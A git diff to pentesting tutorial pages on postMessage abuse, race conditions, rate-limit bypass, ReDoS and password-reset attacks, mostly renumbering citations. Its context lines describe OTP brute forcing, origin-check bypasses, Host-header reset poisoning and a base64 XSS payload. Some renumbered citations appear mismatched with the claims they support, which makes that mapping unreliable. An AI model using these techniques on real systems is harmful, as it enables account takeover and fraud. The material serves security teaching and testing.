diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index 877f99eb8a8..e49596eba57 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -798,7 +798,6 @@
- [WebSocket Attacks](pentesting-web/websocket-attacks.md)
- [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md)
- [XPATH injection](pentesting-web/xpath-injection.md)
-- [XS Search](pentesting-web/xs-search.md)
- [XSLT Server Side Injection (Extensible Stylesheet Language Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md)
- [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md)
diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md
index 7a2fdfde5cf..998d60f3b9d 100644
--- a/src/pentesting-web/postmessage-vulnerabilities/README.md
+++ b/src/pentesting-web/postmessage-vulnerabilities/README.md
@@ -38,8 +38,8 @@ If the **wildcard** is used, **messages could be sent to any domain**, and will
### Attacking iframe & wildcard in **targetOrigin**
-As explained in [**this report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be **iframed** (no `X-Frame-Header` protection) and that is **sending sensitive** message via **postMessage** using a **wildcard** (\*), you can **modify** the **origin** of the **iframe** and **leak** the **sensitive** message to a domain controlled by you.\
-Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**.[[9]](#references)
+As explained in [**this report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be **iframed** (no `X-Frame-Header` protection) and that is **sending sensitive** message via **postMessage** using a **wildcard** (\*), you can **modify** the **origin** of the **iframe** and **leak** the **sensitive** message to a domain controlled by you.[[3]](#references)\
+Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**.[[3]](#references)
```html
@@ -79,7 +79,7 @@ Note in this case how the **first thing** that the code is doing is **checking t
In order to **find event listeners** in the current page you can:
-- **Search** the JS code for `window.addEventListener` and `$(window).on` (_JQuery version_)
+- **Search** the JS code for `window.addEventListener` and `$(window).on` (_JQuery version_)[[5]](#references)
- **Execute** in the developer tools console: `getEventListeners(window)`
 (1).png>)
@@ -132,13 +132,13 @@ In order to **find event listeners** in the current page you can:
If a receiver only checks **`event.origin`** (e.g., trusts any `*.trusted.com`) you can often find a **"relay" page on that origin that echoes attacker-controlled params via `postMessage`** to a supplied `targetOrigin`/`targetWindow`. Examples include marketing/analytics gadgets that take query params and forward `{msg_type, access_token, ...}` to `opener`/`parent`. You can:
-- **Open the victim page in a popup/iframe that has an `opener`** so its handlers register (many pixels/SDKs only attach listeners when `window.opener` exists).
+- **Open the victim page in a popup/iframe that has an `opener`** so its handlers register (many pixels/SDKs only attach listeners when `window.opener` exists).[[4]](#references)
- **Navigate another attacker window to the relay endpoint on the trusted origin**, populating message fields you want injected (message type, tokens, nonces).
- Because the message now comes **from the trusted origin**, origin-only validation passes and you can trigger privileged behaviors (state changes, API calls, DOM writes) in the victim listener.
Abuse patterns seen in the wild:
-- Analytics SDKs (e.g., pixel/fbevents-style) consume messages like `FACEBOOK_IWL_BOOTSTRAP`, then **call backend APIs using a token supplied in the message** and include **`location.href` / `document.referrer`** in the request body. If you supply your own token, you can **read these requests in the token’s request history/logs** and exfil **OAuth codes/tokens** present in the URL/referrer of the victim page.[[3]](#references)
+- Analytics SDKs (e.g., pixel/fbevents-style) consume messages like `FACEBOOK_IWL_BOOTSTRAP`, then **call backend APIs using a token supplied in the message** and include **`location.href` / `document.referrer`** in the request body. If you supply your own token, you can **read these requests in the token’s request history/logs** and exfil **OAuth codes/tokens** present in the URL/referrer of the victim page.
- Any relay that reflects arbitrary fields into `postMessage` lets you **spoof message types** expected by privileged listeners. Combine with weak input validation to reach Graph/REST calls, feature unlocks, or CSRF-equivalent flows.
Hunting tips: enumerate `postMessage` listeners that only check `event.origin`, then look for **same-origin HTML/JS endpoints that forward URL params via `postMessage`** (marketing previews, login popups, OAuth error pages). Stitch both together with `window.open()` + `postMessage` to bypass origin checks.
@@ -181,7 +181,7 @@ bypassing-sop-with-iframes-2.md
### X-Frame-Header bypass
In order to perform these attacks ideally you will be able to **put the victim web page** inside an `iframe`. But some headers like `X-Frame-Header` can **prevent** that **behaviour**.\
-In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it:
+In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it:[[2]](#references)
```html
#changing the case of the tag
@@ -279,15 +279,17 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
## References
-- [1] [Turning a harmless XSS behind a WAF into a realistic phishing vector](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/)
-- [2] [$170k in Bypasses: The Vercel React2Shell Challenge](https://www.hacktron.ai/blog/react2shell-vercel-waf-bypass)
-- [3] [Exploiting HTTP parsers inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
-- [4] [ModSecurity path confusion bugs bypass](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
-- [5] [#NahamCon2024: Modern WAF Bypass Techniques on Large Attack Surfaces](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
-- [6] [Exploring JavaScript events: Bypassing WAFs via character normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
-- [7] [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
-- [8] [busboy - multipart charset decoder mapping (utf16le/ucs2)](https://github.com/mscdex/busboy/blob/6b3dcf69d38c1a8d53a0b3e4c88ba296f6c91525/lib/utils.js#L403-L406)
+- [1] [Exploiting HTTP Parsers Inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
+- [2] [ModSecurity: Path Confusion and Really Easy Bypass on v2 and v3](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
+- [3] [$170k in Bypasses: The Vercel React2Shell Challenge](https://www.hacktron.ai/blog/react2shell-vercel-waf-bypass)
+- [4] [busboy - lib/utils.js (charset-to-decoder mapping)](https://github.com/mscdex/busboy/blob/6b3dcf69d38c1a8d53a0b3e4c88ba296f6c91525/lib/utils.js#L403-L406)
+- [5] [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
+- [6] [WAF Bypassing with Unicode Compatibility](https://jlajara.gitlab.io/Bypass_WAF_Unicode)
+- [7] [Exploring JavaScript Events: Bypassing WAFs via Character Normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
+- [8] [Turning a Harmless XSS Behind a WAF into a Realistic Phishing Vector](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/)
- [9] [5 Ways I Bypassed Your Web Application Firewall (WAF)](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)
-
+- [10] [#NahamCon2024: Modern WAF Bypass Techniques on Large Attack Surfaces](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
+- [11] [swisskyrepo/PayloadsAllTheThings - PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads)
+- [12] [cheatsheetseries.owasp.org - OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md
index 9257b6c5145..9c4a69552ff 100644
--- a/src/pentesting-web/race-condition.md
+++ b/src/pentesting-web/race-condition.md
@@ -3,7 +3,7 @@
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
-> For obtaining a deep understanding of this technique check the original report in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
+> For obtaining a deep understanding of this technique check the original report in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)[[1]](#references)
## Enhancing Race Condition Attacks
@@ -28,9 +28,9 @@ The subsequent sending of withheld frames should result in their arrival in a si
#### HTTP/3 Last‑Frame Synchronization (QUIC)
- **Concept**: HTTP/3 rides over QUIC (UDP). There’s no TCP coalescing or Nagle to rely on, so classic last‑byte sync doesn’t work with off‑the‑shelf clients. Instead, you need to deliberately coalesce multiple QUIC stream‑final DATA frames (FIN) into the same UDP datagram so the server processes all target requests in the same scheduling tick.
-- **How to do it**: Use a purpose‑built library that exposes QUIC frame control. For example, H3SpaceX manipulates quic-go to implement HTTP/3 last‑frame synchronization for both requests with a body and GET‑style requests without a body.
+- **How to do it**: Use a purpose‑built library that exposes QUIC frame control. For example, H3SpaceX manipulates quic-go to implement HTTP/3 last‑frame synchronization for both requests with a body and GET‑style requests without a body.[[2]](#references)
- Requests‑with‑body: send HEADERS + DATA minus the last byte for N streams, then flush the final byte of each stream together.
- - GET‑style: craft fake DATA frames (or a tiny body with Content‑Length) and end all streams in one datagram.[[10]](#references)
+ - GET‑style: craft fake DATA frames (or a tiny body with Content‑Length) and end all streams in one datagram.
- **Practical limits**:
- Concurrency is bounded by the peer’s QUIC max_streams transport parameter (similar to HTTP/2’s SETTINGS_MAX_CONCURRENT_STREAMS). If it’s low, open multiple H3 connections and spread the race across them.
- UDP datagram size and path MTU cap how many stream‑final frames you can coalesce. The library handles splitting into multiple datagrams if needed, but a single‑datagram flush is most reliable.
@@ -68,9 +68,9 @@ func main() {
#### HTTP/3 Practical Tooling
-- **QuicDraw(H3)** is a ready-made CLI/UI for HTTP/3 race testing. It implements `Quic-Fin-Sync`, so it is handy when you want to replay the same request many times (`-tr`) or fuzz a request by placing `FUZZ` in the POST body and feeding a wordlist with `-w`.[[12]](#references)
+- **QuicDraw(H3)** is a ready-made CLI/UI for HTTP/3 race testing. It implements `Quic-Fin-Sync`, so it is handy when you want to replay the same request many times (`-tr`) or fuzz a request by placing `FUZZ` in the POST body and feeding a wordlist with `-w`.[[3]](#references)
- Logging QUIC secrets with `-l /tmp/sslkeys.log` makes Wireshark verification much easier, because you can confirm whether the final frames were actually coalesced and whether packet loss/fragmentation ruined the release point.
-- A practical consequence from newer HTTP/3 research is that **failing with 2-10 requests does not prove an H3 target is safe**. User-space QUIC stacks may absorb small bursts and only start collapsing into a useful race window once you push much higher concurrency, so test more streams and, if needed, multiple QUIC connections.[[12]](#references)
+- A practical consequence from newer HTTP/3 research is that **failing with 2-10 requests does not prove an H3 target is safe**. User-space QUIC stacks may absorb small bursts and only start collapsing into a useful race window once you push much higher concurrency, so test more streams and, if needed, multiple QUIC connections.
```bash
pip install quicdraw
@@ -171,10 +171,10 @@ Content-Length: 0
-- **PacketSprinter (Burp extension)**: Useful when you want the **HTTP/2 single-packet** workflow without writing Turbo Intruder code. It lets you duplicate a base request in bulk, send the whole batch in parallel, and compare every response side by side.[[11]](#references)
+- **PacketSprinter (Burp extension)**: Useful when you want the **HTTP/2 single-packet** workflow without writing Turbo Intruder code. It lets you duplicate a base request in bulk, send the whole batch in parallel, and compare every response side by side.[[4]](#references)
- Great for quick **limit-overrun**, **coupon/gift-card**, and **order-placement** tests where the main question is “which requests won?”.
- Current caveats: it focuses on **HTTP/2**. It does **not** replace **HTTP/1.1 last-byte sync** or **HTTP/3** tooling.
-- **Recent Burp builds** improved the accuracy of the built-in single-packet attack for **very small race windows**. If an old test only worked sporadically, repeat it with an up-to-date Burp build before assuming the target is fixed.[[14]](#references)
+- **Recent Burp builds** improved the accuracy of the built-in single-packet attack for **very small race windows**. If an old test only worked sporadically, repeat it with an up-to-date Burp build before assuming the target is fixed.[[5]](#references)
- **Automated python script**: The goal of this script is to change the email of a user while continually verifying it until the verification token of the new email arrives to the last email (this is because in the code it was seeing a RC where it was possible to modify an email but have the verification sent to the old one because the variable indicating the email was already populated with the first one).\
When the word "objetivo" is found in the received emails we know we received the verification token of the changed email and we end the attack.
@@ -382,7 +382,7 @@ asyncio.run(main())
### Limit-overrun / TOCTOU
-This is the most basic type of race condition where **vulnerabilities** that **appear** in places that **limit the number of times you can perform an action**. Like using the same discount code in a web store several times. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) or in [**this bug**](https://hackerone.com/reports/759247)**.**[[1]](#references)[[15]](#references)
+This is the most basic type of race condition where **vulnerabilities** that **appear** in places that **limit the number of times you can perform an action**. Like using the same discount code in a web store several times. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) or in [**this bug**](https://hackerone.com/reports/759247)**.**[[7]](#references)[[8]](#references)
There are many variations of this kind of attack, including:
@@ -442,7 +442,7 @@ Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaw
### Checkout snapshot / balance masking
-A very common modern e-commerce variant is to start **`/checkout`** while simultaneously changing the **cart**, **gift-card balance**, **store credit**, or **coupon state**. If the checkout path snapshots one object early and later commits against a partially stale view, you can **overdraw balances** or **obtain items added after the payment check**.
+A very common modern e-commerce variant is to start **`/checkout`** while simultaneously changing the **cart**, **gift-card balance**, **store credit**, or **coupon state**. If the checkout path snapshots one object early and later commits against a partially stale view, you can **overdraw balances** or **obtain items added after the payment check**.[[9]](#references)
This is especially worth testing when:
@@ -456,7 +456,7 @@ The idea is to **verify an email address and change it to a different one at the
### Change email to 2 emails addresses Cookie based
-According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**.[[4]](#references)
+According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**.[[1]](#references)
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
@@ -489,36 +489,36 @@ So, until here just a common login with google/linkedin/github... where you are
#### Race Condition in `authorization_code`
-The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more than one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. Basically, it will abuse the fact that you have accept the application to access your data to **create several accounts**. Then, if you **stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**.
+The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more than one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. Basically, it will abuse the fact that you have accept the application to access your data to **create several accounts**. Then, if you **stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**.[[14]](#references)
#### Race Condition in `Refresh Token`
-Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.**
+Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.**[[13]](#references)
See [**OAuth to Account Takeover**](oauth-to-account-takeover.md) for more OAuth-specific race/replay primitives.
## **RC in WebSockets**
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
-- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).[[7]](#references)[[9]](#references)
-- The extension is now in PortSwigger’s **BApp Store**, which makes ad-hoc WS race testing much easier during a normal Burp assessment.[[7]](#references)
+- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).[[10]](#references)[[11]](#references)[[12]](#references)
+- The extension is now in PortSwigger’s **BApp Store**, which makes ad-hoc WS race testing much easier during a normal Burp assessment.
## References
-- [1] [HackerOne report #759247 - race condition (limit overrun)](https://hackerone.com/reports/759247)
-- [2] [Race conditions - exploring the possibilities](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
-- [3] [HackerOne report #55140 - race condition](https://hackerone.com/reports/55140)
-- [4] [Smashing the state machine: the true potential of web race conditions](https://portswigger.net/research/smashing-the-state-machine)
-- [5] [Race conditions - Web Security Academy](https://portswigger.net/web-security/race-conditions)
-- [6] [Beyond the limit: Expanding single-packet race condition with first sequence sync](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
-- [7] [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
-- [8] [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
-- [9] [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
-- [10] [H3SpaceX (HTTP/3 last‑frame sync) – Go package docs](https://pkg.go.dev/github.com/nxenon/h3spacex)
-- [11] [PacketSprinter: Simplifying HTTP/2 Single‑Packet Testing (Route Zero blog)](https://routezero.security/2024/11/17/introducing-packetsprinter-for-burp-suite-simplifying-http-2-single-packet-attack-testing/)
-- [12] [Racing and Fuzzing HTTP/3: Open-sourcing QuicDraw(H3)](https://www.cyberark.com/resources/threat-research-blog/racing-and-fuzzing-http-3-open-sourcing-quicdraw)
-- [13] [Allow to enable lock for order placement · Issue #7325](https://github.com/nopSolutions/nopCommerce/issues/7325)
-- [14] [What's new in Burp Suite Professional: A year of innovation](https://portswigger.net/blog/whats-new-in-burp-suite-professional-a-year-of-innovation)
-- [15] [Race condition vulnerability found in bug bounty program](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)
+- [1] [Smashing the state machine: the true potential of web race conditions](https://portswigger.net/research/smashing-the-state-machine)
+- [2] [H3SpaceX (HTTP/3 last‑frame sync) – Go package docs](https://pkg.go.dev/github.com/nxenon/h3spacex)
+- [3] [Racing and Fuzzing HTTP/3: Open-sourcing QuicDraw(H3)](https://www.cyberark.com/resources/threat-research-blog/racing-and-fuzzing-http-3-open-sourcing-quicdraw)
+- [4] [PacketSprinter: Simplifying HTTP/2 Single‑Packet Testing (Route Zero blog)](https://routezero.security/2024/11/17/introducing-packetsprinter-for-burp-suite-simplifying-http-2-single-packet-attack-testing/)
+- [5] [What's new in Burp Suite Professional: A year of innovation](https://portswigger.net/blog/whats-new-in-burp-suite-professional-a-year-of-innovation)
+- [6] [Beyond the Limit: Expanding Single Packet Race Condition with First Sequence Sync](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
+- [7] [HackerOne report #759247](https://hackerone.com/reports/759247)
+- [8] [RACE Condition vulnerability found in bug-bounty program](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)
+- [9] [Allow to enable lock for order placement · Issue #7325](https://github.com/nopSolutions/nopCommerce/issues/7325)
+- [10] [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
+- [11] [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
+- [12] [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
+- [13] [Race Conditions - exploring the possibilities](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
+- [14] [HackerOne report #55140](https://hackerone.com/reports/55140)
+- [15] [PortSwigger Web Security Academy - Race conditions](https://portswigger.net/web-security/race-conditions)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/rate-limit-bypass.md b/src/pentesting-web/rate-limit-bypass.md
index fffa44debee..fe06e38eb51 100644
--- a/src/pentesting-web/rate-limit-bypass.md
+++ b/src/pentesting-web/rate-limit-bypass.md
@@ -52,13 +52,13 @@ If the target system applies rate limits on a per-account or per-session basis,
### Keep Trying
-Note that even if a rate limit is in place you should try to see if the response is different when the valid OTP is sent. In [**this post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), the bug hunter discovered that even if a rate limit is triggered after 20 unsuccessful attempts by responding with 401, if the valid one was sent a 200 response was received.[[5]](#references)
+Note that even if a rate limit is in place you should try to see if the response is different when the valid OTP is sent. In [**this post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), the bug hunter discovered that even if a rate limit is triggered after 20 unsuccessful attempts by responding with 401, if the valid one was sent a 200 response was received.[[1]](#references)
---
### Abusing HTTP/2 multiplexing & request pipelining (2023-2025)
-Modern rate–limiter implementations frequently count **TCP connections** (or even individual HTTP/1.1 requests) instead of the *number of HTTP/2 streams* a connection contains. When the same TLS connection is reused, an attacker can open hundreds of parallel streams, each carrying a separate request, while the gateway only deducts *one* request from the quota.[[2]](#references)
+Modern rate–limiter implementations frequently count **TCP connections** (or even individual HTTP/1.1 requests) instead of the *number of HTTP/2 streams* a connection contains. When the same TLS connection is reused, an attacker can open hundreds of parallel streams, each carrying a separate request, while the gateway only deducts *one* request from the quota.
```bash
# Send 100 POST requests in a single HTTP/2 connection with curl
@@ -73,7 +73,7 @@ If the limiter protects only `/verify` but not `/api/v2/verify`, you can also co
### GraphQL aliases & batched operations
-GraphQL allows the client to send **several logically independent queries or mutations in a single request** by prefixing them with *aliases*. Because the server executes every alias but the rate-limiter often counts only *one* request, this is a reliable bypass for login or password-reset throttling.
+GraphQL allows the client to send **several logically independent queries or mutations in a single request** by prefixing them with *aliases*. Because the server executes every alias but the rate-limiter often counts only *one* request, this is a reliable bypass for login or password-reset throttling.[[5]](#references)
```graphql
mutation bruteForceOTP {
@@ -86,7 +86,7 @@ mutation bruteForceOTP {
Look at the response: exactly one alias will return 200 OK when the correct code is hit, while the others are rate-limited.
-The technique was popularised by PortSwigger’s research on “GraphQL batching & aliases” in 2023 and has been responsible for many recent bug-bounty payouts.[[1]](#references)
+The technique was popularised by PortSwigger’s research on “GraphQL batching & aliases” in 2023 and has been responsible for many recent bug-bounty payouts.[[2]](#references)
### Abuse of *batch* or *bulk* REST endpoints
@@ -132,7 +132,7 @@ If the login/OTP endpoint exposes both HTTP and WebSocket/gRPC variants, establi
### Exploiting CDN PoP‑sharded counters
-Some CDNs shard rate-limit counters **per data center/PoP instead of globally**. Cloudflare explicitly states counters are not shared across data centers. By routing requests through egress nodes in many regions (residential proxy pools, anycast VPNs, or cloud VMs pinned to different continents), you multiply the allowed throughput: every PoP maintains an independent bucket for the same key.[[4]](#references)
+Some CDNs shard rate-limit counters **per data center/PoP instead of globally**. Cloudflare explicitly states counters are not shared across data centers.[[4]](#references) By routing requests through egress nodes in many regions (residential proxy pools, anycast VPNs, or cloud VMs pinned to different continents), you multiply the allowed throughput: every PoP maintains an independent bucket for the same key.
Quick and dirty layout using open proxies (example with `proxychains` + a country‑rotating list):
@@ -156,10 +156,11 @@ Make sure the limiter key is not per-account; otherwise also rotate user IDs / s
## References
-- [1] [PortSwigger Research – “Bypassing rate limits with GraphQL aliasing” (2023)](https://portswigger.net/research/graphql-authorization-bypass)
-- [2] [PortSwigger Research – “HTTP/2: The Sequel is Always Worse” (connection-based throttling) (2024)](https://portswigger.net/research/http2)
-- [3] [Cloudflare Docs – WebSockets & WAF applicability (2025)](https://developers.cloudflare.com/network/websockets/)
-- [4] [Cloudflare Docs – Request rate calculation and PoP-local counters (2025)](https://developers.cloudflare.com/waf/rate-limiting-rules/request-rate/)
-- [5] [The $2,200 ATO Most Bug Hunters Overlooked by Closing Intruder Too Soon](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732)
+- [1] [The $2,200 ATO most bug hunters overlooked by closing Intruder too soon](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732)
+- [2] [PortSwigger Web Security Academy – GraphQL API vulnerabilities: Bypassing rate limiting using aliases](https://portswigger.net/web-security/graphql)
+- [3] [Cloudflare Docs – WebSockets & WAF applicability](https://developers.cloudflare.com/network/websockets/)
+- [4] [Cloudflare Docs – Request rate calculation and PoP-local counters](https://developers.cloudflare.com/waf/rate-limiting-rules/request-rate/)
+- [5] [PortSwigger Research – “Bypassing rate limits with GraphQL aliasing” (2023)](https://portswigger.net/research/graphql-authorization-bypass)
+- [6] [PortSwigger Research – “HTTP/2: The Sequel is Always Worse” (connection-based throttling) (2024)](https://portswigger.net/research/http2)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/regular-expression-denial-of-service-redos.md b/src/pentesting-web/regular-expression-denial-of-service-redos.md
index c957d128039..004d79f5504 100644
--- a/src/pentesting-web/regular-expression-denial-of-service-redos.md
+++ b/src/pentesting-web/regular-expression-denial-of-service-redos.md
@@ -124,9 +124,9 @@ Regexp (a+)*$ took 723 milliseconds.
- [1] [OWASP – Regular expression Denial of Service - ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
- [2] [PortSwigger Daily Swig – Blind regex injection: theoretical exploit offers new way to force web apps to spill secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
-- [3] [Created-CTF-Challenges – TacoMaker @ DEKRA CTF 2022 solver](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html)
-- [4] [CTFtime writeup 25869 – ReDoS flag exfiltration](https://ctftime.org/writeup/25869)
+- [3] [jorgectf – Created CTF Challenges: TacoMaker @ DEKRA CTF 2022 solver](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html)
+- [4] [CTFtime writeup 25869](https://ctftime.org/writeup/25869)
- [5] [SoK (2024): A Literature and Engineering Review of Regular Expression Denial of Service (ReDoS)](https://arxiv.org/abs/2406.11618)
-- [6] [Why RE2 (linear‑time regex engine)](https://github.com/google/re2/wiki/WhyRE2)
+- [6] [Why RE2? (linear‑time regex engine)](https://github.com/google/re2/wiki/WhyRE2)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md
index b8ede368aac..7dd3d4d3b1c 100644
--- a/src/pentesting-web/reset-password.md
+++ b/src/pentesting-web/reset-password.md
@@ -4,14 +4,14 @@
## **Password Reset Token Leak Via Referrer**
-- The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.[[6]](#references)[[7]](#references)[[8]](#references)
+- The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
- **Impact**: Potential account takeover via Cross-Site Request Forgery (CSRF) attacks.
-- **Exploitation**: To check if a password reset token is leaking in the referer header, **request a password reset** to your email address and **click the reset link** provided. **Do not change your password** immediately. Instead, **navigate to a third-party website** (like Facebook or Twitter) while **intercepting the requests using Burp Suite**. Inspect the requests to see if the **referer header contains the password reset token**, as this could expose sensitive information to third parties.
+- **Exploitation**: To check if a password reset token is leaking in the referer header, **request a password reset** to your email address and **click the reset link** provided. **Do not change your password** immediately. Instead, **navigate to a third-party website** (like Facebook or Twitter) while **intercepting the requests using Burp Suite**. Inspect the requests to see if the **referer header contains the password reset token**, as this could expose sensitive information to third parties.[[1]](#references)[[2]](#references)[[3]](#references)
## **Password Reset Poisoning**
-- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.[[9]](#references)
-- **Impact**: Leads to potential account takeover by leaking reset tokens to attackers.
+- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
+- **Impact**: Leads to potential account takeover by leaking reset tokens to attackers.[[4]](#references)
- **Exploitation tips**:
- Test not only `Host`, but also override headers such as `X-Forwarded-Host`, `Forwarded`, `X-Host`, and `X-Original-Host`. Reverse proxies and middleware sometimes build the reset URL from those values instead of from the canonical host.
- If the reset request contains parameters such as `baseurl`, `return_to`, `redirect_uri`, `redirect_url`, `next`, or a tenant/domain selector, point them to an attacker-controlled host and inspect the email template.
@@ -23,7 +23,7 @@
## **Password Reset By Manipulating Email Parameter**
-Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.[[4]](#references)[[10]](#references)[[11]](#references)[[12]](#references)
+Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.[[5]](#references)[[6]](#references)[[7]](#references)[[8]](#references)
- Add attacker email as second parameter using &
